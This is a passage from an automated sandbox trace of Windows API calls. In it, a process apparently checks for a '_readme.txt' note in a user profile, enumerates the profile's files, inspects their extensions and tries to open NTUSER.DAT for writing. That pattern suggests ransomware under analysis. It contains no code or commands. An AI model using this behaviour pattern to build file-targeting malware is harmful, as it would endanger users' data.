wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.665] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4748 [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.665] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.665] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.665] PathFindFileNameW (pszPath="") returned="" [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.665] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.666] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.666] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.666] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.666] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.666] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0059.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.666] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.666] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5478 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.666] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0059.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119500 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119558 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6490 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31195b0 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2045710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x2045710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31194a8 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119500 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119608 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119660 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa72b7d0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa72b7d0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d07b8 [0059.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa79dbf0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa79dbf0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0059.667] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0059.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0059.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0059.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0059.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0059.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0059.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0059.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0059.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa8ce6f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa8ce6f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0059.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa882430, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa882430, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.669] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0059.669] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d2cfd0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.669] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.669] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.669] 